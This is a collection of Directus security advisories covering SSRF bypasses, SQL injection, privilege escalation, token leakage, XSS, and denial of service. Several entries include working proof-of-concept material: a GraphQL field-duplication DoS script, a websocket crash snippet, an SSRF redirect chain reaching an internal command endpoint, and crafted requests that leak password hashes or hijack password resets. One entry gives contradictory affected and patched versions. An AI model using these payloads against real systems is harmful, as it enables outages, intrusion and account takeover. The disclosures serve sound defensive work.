Directus contains an authenticated SQL injection vulnerability in the collection creation flow when the instance uses PostgreSQL with PostGIS enabled. An administrator can create a collection with a geometry field whose fields[].type value starts with geometry but contains attacker-controlled SQL syntax after the geometry subtype.This issue affects Directus: before 12.1.0.

Summary

The SSRF protection on Directus's file-import-from-URL feature can be bypassed using the address 0.0.0.0. While 127.0.0.1 and other internal addresses are denied, 0.0.0.0 is not added to the blocklist. On Linux and macOS, connecting to 0.0.0.0 reaches localhost, so an authenticated user with file-upload rights can make the server fetch internal services and retrieve the response as a downloadable file (full-read SSRF).

Affected Versions

- Affected: Directus <= 12.0.0 (confirmed on directus/directus:latest, v11.17.3, with default configuration) - Patched: Directus >= 12.0.0

Details

Directus uses a deny-list config, IMPORTIPDENYLIST, whose default value is ['0.0.0.0', '169.254.169.254'].

The issue is in how api/src/request/is-denied-ip.ts processes this list. When it encounters the entry 0.0.0.0, it treats it as a special keyword meaning "block all local network interfaces," but it never blocks the literal address 0.0.0.0 itself. The handler sets the network-interface flag and skips to the next entry without adding 0.0.0.0 to the blocklist.

What actually gets blocked is the loopback subnet 127.0.0.0/8 (from the lo interface) plus whatever addresses are assigned to the machine's network interfaces. The address 0.0.0.0 is not inside 127.0.0.0/8; it belongs to the separate 0.0.0.0/8 range. So a request to http://0.0.0.0:8055/ passes the blocklist check as "allowed."

At the OS level, however, connecting to 0.0.0.0 reaches localhost, functionally equivalent to 127.0.0.1. The same gap applies to the IPv6 unspecified address ::. As a result, the SSRF protection is bypassed.

Impact

An authenticated user with create permission on directusfiles (file-upload rights) can make the server issue requests to its own localhost via the /files/import endpoint. The response body is stored as a downloadable file, making this a full-read SSRF. On bare-metal or single-host deployments, this can reach databases, caches, and internal APIs bound to localhost. This bypass defeats the protections tracked as CVE-2026-35409 and CVE-2024-46990.

Summary When sharing an item, user can specify an arbitrary role. It allows user to use a higher-privileged role to see fields that otherwise the user should not be able to see.

Details Specifying role on share should be available only for admins. The current flow has a security flaw.

Each other role should allow to share only in the context of the same role. As there is no role hierarchy in Directus, it is impossible to tell which role is higher or lower, so only admins should be able to specify the role for share.

Optionally, instead of specifying a role, shareer should be able to specify which fields (limited to fields shareer sees) are available on shared item. Similarily to import.

shareer - a person that creates a share link to item

PoC 1. Create a collection with a secret field. 2. Create role A that sees the secret field 3. Create role B that does not see the secret field, but can use share feature. 4. Create item with secret field filled. 5. Use account with role B to share the object as role A and gain unauthorized access to secret value.

Here's video example: https://www.youtube.com/watch?v=DbV4IxbWzN4 I had to upload it to YouTube, because GitHub allows only 10MB videos.

Impact Impacted are instances that use the share feature and have specific roles hierarchy and fields that are not visible for certain roles.

Summary Access token from query string is not redacted and is potentially exposed in system logs which may be persisted.

Details The access token in req.query is not redacted when the LOGSTYLE is set to raw. If these logs are not properly sanitized or protected, an attacker with access to it can potentially gain administrative control, leading to unauthorized data access and manipulation.

PoC 1. Set LOGLEVEL="raw" in the environment. 2. Send a request with the accesstoken in the query string. 3. Notice that the accesstoken in req.query is not redacted.

Impact It impacts systems where the LOGSTYLE is set to raw. The accesstoken in the query could potentially be a long-lived static token. Users with impacted systems should rotate their static tokens if they were provided using query string.

Duplicate Advisory This advisory has been withdrawn because it is a duplicate of GHSA-3fff-gqw3-vj86. This link is maintained to preserve external references.

Original Description Directus v10.13.0 allows an authenticated external attacker to modify presets created by the same user to assign them to another user. This is possible because the application only validates the user parameter in the 'POST /presets' request but not in the PATCH request. When chained with CVE-2024-6533, it could result in account takeover.

Duplicate Advisory This advisory has been withdrawn because it is a duplicate of GHSA-9qrm-48qf-r2rw. This link is maintained to preserve external references.

Original Description Directus v10.13.0 allows an authenticated external attacker to execute arbitrary JavaScript on the client. This is possible because the application injects an attacker-controlled parameter that will be stored in the server and used by the client into an unsanitized DOM element. When chained with CVE-2024-6534, it could result in account takeover.

Impact When relying on SSO providers in combination with local authentication it can be possible to enumerate existing SSO users in the instance. This is possible because if an email address exists in Directus and belongs to a known SSO provider then it will throw a "helpful" error that the user belongs to another provider.

Reproduction

1. Create a user using a SSO provider test@directus.io. 2. Try to log-in using the regular login form (or the API) 3. When using a valid email address

| APP | API | | --- | --- | | !image | !image |

4. When using an invalid email address

| APP | API | | --- | --- | | !image | !image |

5. Using this differing error it is possible to determine whether a specific email address is present in the Directus instance as an SSO user.

Workarounds When only using SSO for authentication then you can work around this issue by disabling local login using the following environment variable AUTHDISABLEDEFAULT="true"

References Implemented as feature in https://github.com/directus/directus/pull/13184 https://owasp.org/www-project-web-security-testing-guide/v42/4-WebApplicationSecurityTesting/03-IdentityManagementTesting/04-TestingforAccountEnumerationandGuessableUserAccount

Summary A denial of service (DoS) attack by field duplication in GraphQL is a type of attack where an attacker exploits the flexibility of GraphQL to overwhelm a server by requesting the same field multiple times in a single query. This can cause the server to perform redundant computations and consume excessive resources, leading to a denial of service for legitimate users.

Details Request to the endpoint /graphql are sent when visualizing graphs generated at a dashboard: !image

!DoS5

By modifying the data sent and duplicating many times the fields a DoS attack is possible.

PoC The goal is to create a payload that generates a body like this, where the 'max' field is duplicated many times, each with the 'id' field duplicated many times inside it. {'query': 'query { query4f4722ea: testtableaggregated { max {id id id id id id id id id id } max {id id id id id id id id id id } max {id id id id id id id id id id } max {id id id id id id id id id id } max {id id id id id id id id id id } max {id id id id id id id id id id } max {id id id id id id id id id id } max {id id id id id id id id id id } max {id id id id id id id id id id } max {id id id id id id id id id id } } }'}

Although that payload seems harmless, a bigger one leaves the service unresponsive.

The following code might serve as a PoC written in Python3: # Field Duplication DoS GitHub @asantof

import requests

CHANGE THIS VALUES: url, authtoken, queryname, collectionname url = 'http://0.0.0.0:8055/graphql' authtoken = '' queryname = 'queryXXXXX' collectionname = ''

headers = { 'Content-Type': 'application/json', 'Authorization': f'Bearer {authtoken}', }

idpayload = 'id ' 200 maxpayload = 'max {' + idpayload + ' } ' fullpayload = maxpayload 200

data = { 'query': 'query { ' + queryname + ': ' + collectionname + 'aggregated { ' + fullpayload + ' } }' }

print(data)

response = requests.post(url, headers=headers, json=data)

print(response.json())

!DoS4

After running it the service will be unresponsive for a while: !DoS

Impact The vulnerability impacts the service's availability by causing it to become unresponsive for a few minutes. An attacker could continuously send this request to the server, rendering the service unavailable indefinitely.

Summary There was already a reported SSRF vulnerability via file import. https://github.com/directus/directus/security/advisories/GHSA-j3rg-3rgm-537h It was fixed by resolving all DNS names and checking if the requested IP is an internal IP address.

However it is possible to bypass this security measure and execute a SSRF using redirects. Directus allows redirects when importing file from the URL and does not check the result URL. Thus, it is possible to execute a request to an internal IP, for example to 127.0.0.1.

However, it is blind SSRF, because Directus also uses response interception technique to get the information about the connect from the socket directly and it does not show a response if the IP address is internal (nice fix, by the way :) ).

But the blindness does not fully mitigate the impact of the vulnerability. The blind SSRF is still exploitable in the real life scenarios, because there could be a vulnerable software inside of the network which can be exploited with GET request. I will show the example in the PoC. Also, you can check HackTricks page with some known cases.

Details Give all details on the vulnerability. Pointing to the incriminated source code is very helpful for the maintainer.

PoC For testing I used the docker compose with the latest directus version. Here is my docker compose file version: "3" services: directus: image: directus/directus:10.8.3 ports: - 8055:8055 volumes: - ./database:/directus/database - ./uploads:/directus/uploads - ./extensions:/directus/extensions environment: KEY: "redacted" SECRET: "redacted" ADMINEMAIL: "admin@example.com" ADMINPASSWORD: "redacted" DBCLIENT: "sqlite3" DBFILENAME: "/directus/database/data.db"

As a first step it is needed to setup a redirect server which will redirect the incoming request to some internal URL. I did it on my VPS with the public IP.

<img width="1035" alt="image" src="https://user-images.githubusercontent.com/156416961/296198555-870898b2-7b8a-4857-a8fe-5e28e85241b0.png">

After it I setup a simple HTTP Server emulating the vulnerable application inside the internal network. It just execute any shell command provided in the cmd GET-parameter.

<img width="454" alt="image" src="https://user-images.githubusercontent.com/156416961/296198963-4465fa15-c6d6-4e8c-92a0-a2ae334ba79f.png">

After it the directus import functionality was used

<img width="930" alt="image" src="https://user-images.githubusercontent.com/156416961/296199457-d5d8eb2d-1ca8-442e-b1bf-15ddb0f1947d.png">

It initiates the following HTTP request

POST /files/import HTTP/1.1 Host: 127.0.0.1:8055 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:121.0) Gecko/20100101 Firefox/121.0 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Authorization: Bearer redacteed Content-Type: application/json Content-Length: 44 Origin: http://127.0.0.1:8055 Connection: close Referer: http://127.0.0.1:8055/admin/files/+ Cookie: directusrefreshtoken=redacted Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-origin

{"url":"http://94.103.84.233:801","data":{}}

It can be seen on the redirect server that the request came to it.

!

And we can also see the request in the localhost server (the same host as directus), which confirms the bypass and the SSRF.

<img width="437" alt="image" src="https://user-images.githubusercontent.com/156416961/296201651-a9b61f5d-0ccd-4e3e-b137-e82fda8f5347.png">

And the rcepoc file was created.

<img width="538" alt="image" src="https://user-images.githubusercontent.com/156416961/296201869-fed5fa94-ece5-497d-a091-c422b1f540a0.png">

Impact The impact is Blind SSRF. Using it an attacker can initiate HTTP GET requests to the internal network. For example, it can be used to exploit some GET-based vulnerabilities of other software in the internal network.

Fix proposition

I think there are two ways to fix this vulnerability:

- Disallow redirects for the import requests - Check the Location header in the import request response if it is present. Drop the request if the Location url points to the internal IP.

Describe the Bug

Providing a non-numeric length value to the random string generation utility will create a memory issue breaking the capability to generate random strings platform wide. This creates a denial of service situation where logged in sessions can no longer be refreshed as sessions depend on the capability to generate a random session ID.

To Reproduce

1. Test if the endpoint is working and accessible, GET http://localhost:8055/utils/random/string 2. Do a bad request GET http://localhost:8055/utils/random/string?length=foo 3. After this all calls to GET http://localhost:8055/utils/random/string will return an empty string instead of a random string 4. In this error situation you'll see authentication refreshes fail for the app and api.

Impact

This counts as an unauthenticated denial of service attack vector so this impacts all unpatched instances reachable over the internet.

Summary Currently session tokens function like the other JWT tokens where they are not actually invalidated when logging out. The directussession gets destroyed and the cookie gets deleted but if you captured the cookie value it will still work for the entire expiry time which is set to 1 day by default. Making it effectively a long lived unrevokable stateless token instead of the stateful session token it was meant to be. When authenticating a session token JWT, Directus should also check whether the associated directussession both still exists and has not expired (although the token should expire at the same time or before the session) to ensure leaked tokens are not valid indefinitely.

Steps to reproduce - Copy the current session token from the cookie - Refresh and or log out - Use the saved session token to check if it is still valid

Impact The lack of proper session expiration may improve the likely success of certain attacks. For example, a user might access a web site from a shared computer (such as at a library, Internet cafe, or open work environment). Incorrect token invalidation could allow an attacker to use the browser's history to access a Directus instance session previously accessed by the victim.

Summary A user with permission to view any collection using redacted hashed fields can get access the raw stored version using the alias functionality on the API. Normally, these redacted fields will return however if we change the request to ?alias[workaround]=redacted we can instead retrieve the plain text value for the field.

Steps to reproduce - Set up a simple role with read-access to users. - Create a new user with the role from the previous step - Assign a password to the user

The easiest way to confirm this vulnerability is by first visiting /users/me. You should be presented with a redacted JSON-object. Next, visit /users/me?alias[hash]=password. This time, the returned JSON object will included the raw password hash instead of the redacted value.

Workaround This can be avoided by removing permission to view the sensitive fields entirely from users or roles that should not be able to see them.

Impact

When reaching the /files page, a JWT is passed via GET request. Inclusion of session tokens in URLs poses a security risk as URLs are often logged in various places (e.g., web server logs, browser history). Attackers gaining access to these logs may hijack active user sessions, leading to unauthorized access to sensitive information or actions on behalf of the user.

Patches

Has the problem been patched? What versions should users upgrade to?

Workarounds

There's no workaround available.

References

Are there any links users can visit to find out more?

Summary The authentication API has a redirect parameter that can be exploited as an open redirect vulnerability as the user tries to log in via the API URL https://docs.directus.io/reference/authentication.html#login-using-sso-providers /auth/login/google?redirect for example.

Details There's a redirect that is done after successful login via the Auth API GET request to directus/auth/login/google?redirect=http://malicious-fishing-site.com, which I think is here: https://github.com/directus/directus/blob/main/api/src/auth/drivers/oauth2.ts#L394. While credentials don't seem to be passed to the attacker site, the user can be phished into clicking a legitimate directus site and be taken to a malicious site made to look like a an error message "Your password needs to be updated" to phish out the current password.

PoC Turn on any auth provider in Directus instance. Form a link to directus-instance/auth/login/:providerid?redirect=http://malicious-fishing-site.com, login and get taken to malicious-site. Tested on the ory OAuth2 integration.

Impact Users who login via OAuth2 into Directus.

Impact

Currently the exact Directus version number is being shipped in compiled JS bundles which are accessible without authentication. With this information a malicious attacker can trivially look for known vulnerabilities in Directus core or any of its shipped dependencies in that specific running version.

Patches

The problem has been resolved in versions 10.8.3 and newer

Workarounds

None

Password reset vulnerable to accent confusion

The password reset mechanism of the Directus backend is implemented in a way where combined with (specific, need to double check if i can work around) configuration in MySQL or MariaDB. As such, it allows attackers to receive a password reset email of a victim user, specifically having it arrive at a similar email address as the victim with a one or more characters changed to use accents.

This is due to the fact that by default MySQL/MariaDB are configured for accent-insenstive and case-insensitve comparisons.

MySQL weak comparison: sql select 1 from directususers where 'julian@cure53.de' = 'julian@cüre53.de';

This is exploitable due to an error in the API using the supplied email address for sending the reset password mail instead of using the email from the database.

Steps to reproduce:

1. If the attacker knows the email address of the victim user, i.e., julian@cure53.de. (possibly just the domain could be enough for an educated guess) 2. A off-by-one accented domain cüre53.de can be registered to be able to receive emails. 3. With this email the attacker can request a password reset for julian@cüre53.de. http POST /auth/password/request HTTP/1.1 Host: example.com [...] {"email":"julian@cüre53.de"} 4. The supplied email (julian@cüre53.de) gets checked against the database and will match the non-accented email julian@cure53.de and will continue to email the password reset link to the provided email address instead of the saved email address. 5. With this email the attacker can log into the target account and use it for nefarious things

Workarounds Should be possible with collations but haven't been able to confirm this.

References - https://www.monolune.com/articles/what-is-the-utf8mb40900aici-collation/ - https://dev.mysql.com/doc/refman/8.0/en/charset-unicode-sets.html

Summary It seems that any Directus installation that has websockets enabled can be crashed if the websocket server receives an invalid frame. This could probably be posted as an issue and I might even be able to put together a pull request for a fix (if only I had some extra time...), but I decided to instead post as a vulnerability just for the maintainers, since this seemingly can be used to crash any live Directus server if websockets are enabled, so public disclosure is not a good idea until the issue is fixed.

Details The fix for this seems quite simple; the websocket server just needs to properly catch the error instead of crashing the server. See for example: https://github.com/websockets/ws/issues/2098

PoC - Start a fresh Directus server (using for example the compose file here: https://docs.directus.io/self-hosted/docker-guide.html). Enable websockets by setting WEBSOCKETSENABLED: 'true' environment variable. - run a separate node app somewhere else to send an invalid frame to the server:

const WebSocket = require("ws"); const websocket = new WebSocket("ws://0.0.0.0:8055/websocket"); websocket.on("open", function () { const chunk = Buffer.from("a180", "hex"); websocket.socket.write(chunk); });

Impact The server crashes with an error: RangeError: Invalid WebSocket frame: RSV2 and RSV3 must be clear. Server needs to be manually restarted to get back online (if there's no recovery mechanism in place, as there often isn't with simple node servers). This was confirmed on a local server, and additionally I was able to crash our staging server with the same code, just pointing to our staging Directus server running at fly.io. It seems to also crash servers running in the directus.cloud service. I created https://websocket-test.directus.app/, pointed the above script to the websocket url of that instance and the server does crash for a while. It seems that in there there's a mechanism for bringing the server back up quite fast, but it would be quite trivial for anyone to DoS any server running in directus.cloud by just spamming these invalid frames to the server.

Summary

CWE-200: Exposure of Sensitive Information to an Unauthorized Actor Access to information you should not have access to when the permissions rely on $CURRENTUSER for filtering.

Details

The permission filters (i.e. usercreated IS $CURRENTUSER) are not properly checked when using GraphQL subscription resulting in unauthorized users getting event on their subscription which they should not be receiving according to the permissions. This can be any collection but out-of-the box the directususers collection is configured with such a permissions filter allowing you to get updates for other users when changes happen.

An example: graphql subscription { directususersmutated { event data { id lastaccess lastpage } } }

Patches https://github.com/directus/directus/pull/19155

Workarounds Disable GraphQL Subscriptions

References

An issue found in Directus API v.2.2.0 allows a remote attacker to cause a denial of service via a great amount of HTTP requests.

Directus is a real-time API and App dashboard for managing SQL database content. Prior to version 9.23.3, the directusrefreshtoken is not redacted properly from the log outputs and can be used to impersonate users without their permission. This issue is patched in version 9.23.3.

Directus is a real-time API and App dashboard for managing SQL database content. In versions prior to 9.16.0 users with read access to the password field in directususers can extract the argon2 password hashes by brute forcing the export functionality combined with a startswith filter. This allows the user to enumerate the password hashes. Accounts cannot be taken over unless the hashes can be reversed which is unlikely with current hardware. This problem has been patched by preventing any hashed/concealed field to be filtered against with the startswith or other string operator in version 9.16.0. Users are advised to upgrade. Users unable to upgrade may mitigate this issue by ensuring that no user has read access to the password field in directususers.

Directus is a real-time API and App dashboard for managing SQL database content. Directus is vulnerable to Server-Side Request Forgery (SSRF) when importing a file from a remote web server (POST to /files/import). An attacker can bypass the security controls by performing a DNS rebinding attack and view sensitive data from internal servers or perform a local port scan. An attacker can exploit this vulnerability to access highly sensitive internal server(s) and steal sensitive information. This issue was fixed in version 9.23.0.

In directus versions v9.0.0-beta.2 through 9.6.0 are vulnerable to server-side request forgery (SSRF) in the media upload functionality which allows a low privileged user to perform internal network port scans.

Impact

The default value for the CORSENABLED and CORSORIGIN configuration was set to be very permissive by default. This could lead to unauthorized access in uncontrolled environments when the configuration hasn't been changed.

Patches

The default values for CORS have been changed in https://github.com/directus/directus/pull/12022 which is released under 9.7.0

Workarounds

Configure the CORS environment variables to match your project's usage, rather than leaving them at the (permissive) defaults.

For more information If you have any questions or comments about this advisory: Open an issue in directus/directus Email us at security@directus.io

In Directus, versions 9.0.0-alpha.4 through 9.4.1 allow unrestricted file upload of .html files in the media upload functionality, which leads to Cross-Site Scripting vulnerability. A low privileged attacker can upload a crafted HTML file as a profile avatar, and when an admin or another user opens it, the XSS payload gets triggered.

In Directus, versions 9.0.0-alpha.4 through 9.4.1 are vulnerable to stored Cross-Site Scripting (XSS) vulnerability via SVG file upload in media upload functionality. A low privileged attacker can inject arbitrary javascript code which will be executed in a victim’s browser when they open the image URL.

interfaces/markdown/input.vue in Directus 7 Application before 7.7.0 does not sanitize Markdown text before rendering a preview.